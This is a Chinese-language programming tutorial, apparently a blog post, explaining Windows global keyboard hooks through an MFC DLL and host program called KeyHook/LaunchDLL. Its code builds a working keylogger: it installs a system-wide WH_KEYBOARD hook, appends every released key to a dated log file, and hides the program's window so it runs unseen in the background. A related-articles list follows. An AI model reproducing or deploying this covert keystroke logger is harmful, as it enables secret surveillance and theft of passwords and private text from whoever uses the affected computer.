[精彩文章]

系统钩子和DLL

钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。 在本程序中为方便起见采用了标准静态连接MFC DLL。

三、键盘钩子程序示例

本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。

1、首先编制MFC扩展动态连接库LaunchDLL.dll:

(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。

(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:

#define DllExport __declspec(dllexport)

……

DllExport void WINAPI InstallLaunchEv();

……

class CLaunchDLLApp : public CWinApp

{

public:

CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)

//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)

// NOTE – the ClassWizard will add and remove member functions here.

// DO NOT EDIT what you see in these blocks of generated code !

//}}AFX_MSG

DECLARE_MESSAGE_MAP()

};

(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:

HHOOK Hook;

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);

void SaveLog(char* c);

(4)完成以上提到的这几个函数的实现部分:

……

CLaunchDLLApp theApp;

……

DllExport void WINAPI InstallLaunchEv()

{

Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,

(HOOKPROC)LauncherHook,

theApp.m_hInstance,

0);

}

在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:

HHOOK SetWindowsHookEx(int idHook,

HOOKPROC lpfn,

HINSTANCE hMod,

DWORD dwThreadId);

其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。

……

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)

{

LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);

if(nCode==HC_ACTION)

{

if(lParam & 0×80000000)

{

char c[1];

c[0]=wParam;

SaveLog(c);

}

}

return Result;

}

虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。

……

void SaveLog(char* c)

{

CTime tm=CTime::GetCurrentTime();

CString name;

name.Format(“c:\\Key_%d_%d.log”,tm.GetMonth(),tm.GetDay());

CFile file;

if(!file.Open(name,CFile::modeReadWrite))

{

file.Open(name,CFile::modeCreate|CFile::modeReadWrite);

}

file.SeekToEnd();

file.Write(c,1);

file.Close();

}

当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。

编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。

2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:

(1)用MFC的AppWizard(EXE)创建项目KeyHook;

(2)选择单文档,其余几步可均为确省;

(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。

(4)链接DLL库,即在”Project”,”Settings…”的”Link”属性页内,在”Object/librarymodules:”中填 入”LaunchDLL.lib”。再通过”Project”,”Add To Project”,”Files…”将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:

#include “LaunchDLL.h”

这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。

(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

……

InstallLaunchEv();

……

(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd->ShowWindow (SW_HIDE);即可。

四、运行与检测

编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序”KeyHook”,随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。

小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中

c语言全局钩子,如何实现键盘钩子(文章)?相关推荐

  1. python 键盘钩子_WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例...

    原文:WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例 键盘钩子是一种可以监控键盘操作的指令. 看到这句话是不是觉得其实键盘钩子可以做很多事情. 场景 当你的程序需要一个全局的快捷键 ...

  2. 如何让你的程序避开全局键盘钩子的监视

    原文地址:http://blog.okbase.net/BlueSky/archive/3839.html 一直以来有个疑问,就是如果别人在你的电脑上安装了键盘钩子来监视你的键盘按键动作,我的程序怎么 ...

  3. QQ密码输入框(防键盘钩子)原理分析

    1.网上看到的一些防星号查看器的代码大多是在后台维护一个字符串(真实的密码),界面则不显示真实的密码,这样做,维护那个字符串很费事,就因为我之前那样做过,我才在看到WM_GETTEXT后想要重做一个 ...

  4. 钩子原理及实例:实现键盘钩子截获密码

    钩子原理及实例:利用鼠标键盘钩子截获密码 钩子原理 钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能.Windows系统是建立在事件驱动的机制上的,也就是整个系统都是通过消息 ...

  5. 使用键盘钩子实现挂机锁屏,输入密码解除

    使用键盘钩子实现挂机锁屏,输入密码解除 新建.net 4.5 的windows窗体应用程序SystemLockDemo,将默认的form1重命名为FormLaunch. 钩子和windows API类 ...

  6. 键盘钩子实现扫码枪输入

    钩子 钩子是操作系统消息处理的一种机制.通过钩子,应用程序可以安装一个钩子回调过程让系统调用,从而监视系统中的消息队列.在这些消息到达目标窗口之前对这些消息进行处理. 特点 钩子函数会降低操作系统的性 ...

  7. VC++钩子使用之全局键盘钩子

    文章目录 钩子简介 使用钩子 生成KeyHook.dll 加载KeyHook.dll 窗体接收两次按键消息的问题 参考 如果想要在Win32窗体程序中实现按键捕获,可以覆写PreTranslateMe ...

  8. 使用raw input 代替全局键盘钩子

    //关于raw input 请查看msdn https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536%28v=vs.85%29 ...

  9. 基于低级键盘钩子的dota改键(全局+免DLL注入)MFC实现(源码+总结)

    上一篇文章已经写了基于 普通键盘钩子(单线程+DLL)来实现dota改键.http://blog.csdn.net/a576323437/article/details/8037138 这一次,基于 ...

  10. C#:键盘钩子的使用,实现键盘屏蔽 及 全局改键功能

    1.引入 由于需要使用动态链接库及Process进程类,所以需要在项目中引入命名空间 using System.Diagnostics; using System.Runtime.InteropSer ...

最新文章

  1. 王道考研 计算机网络笔记 第六章:应用层
  2. VS Code编写html(2)
  3. 深入理解计算机系统(原书第三版)系列 第一章 计算机系统漫游
  4. 企业级自动化运维神器Ansible
  5. Linux 服务器 监控命令
  6. 以房养老骗局高发,背后套路何在?
  7. 开源代码MyCommons
  8. CentOS7 添加端口
  9. mapgis6.7破解版|mapgis6.7破解版客户端(附安装教程)下载
  10. win10任务栏无反应解决办法
  11. ReflectionException: There is no setter for property named ‘createTime‘ in ‘class XXX‘
  12. android抽屉式listview,Android 抽屉效果的导航菜单实现
  13. 在 word 中加入 Mathtype 公式编辑器 解决办法
  14. ionic5 ion-refresher下拉更新
  15. NVIDIA Jetson TK1学习与开发(一):NVIDIA Jetson TK1介绍
  16. NPOI Word 编程学习总结
  17. cindy java_Cindy User Guide
  18. 火狐浏览器(firefox)如何定制特定的“新建标签页”
  19. 读书笔记:《穷爸爸富爸爸》——Robert T. Kiyosaki
  20. 理想职业计算机程序英语作文,我理想的职业英语作文

热门文章

  1. 谷歌浏览器截图_【插件推荐】一键滚动截图整个网页,支持二次编辑的免费工具...
  2. 鸟哥私房菜整理(二)
  3. Linux基础入门之VM和centos的安装使用
  4. 通过matlab语言来实现对硬币的计数问题
  5. 修改pip下载存放和安装位置
  6. wallys/IPQ4019/IPQ4029/Access Point Wireless Module Dual band 11AC Wave2 Module
  7. 计算机维修的税收编码,维修费税收分类编码是多少?
  8. 涵盖农业、可再生能源、酒店、金融服务、创意服务、科技、林业和建筑业的20家新公司加入《气候宣言》
  9. 黑马程序员-java学习笔记_整理黑马官网Java自学27天基础视频及笔记
  10. 高等数学18讲(19版)反常积分的计算与敛散性判别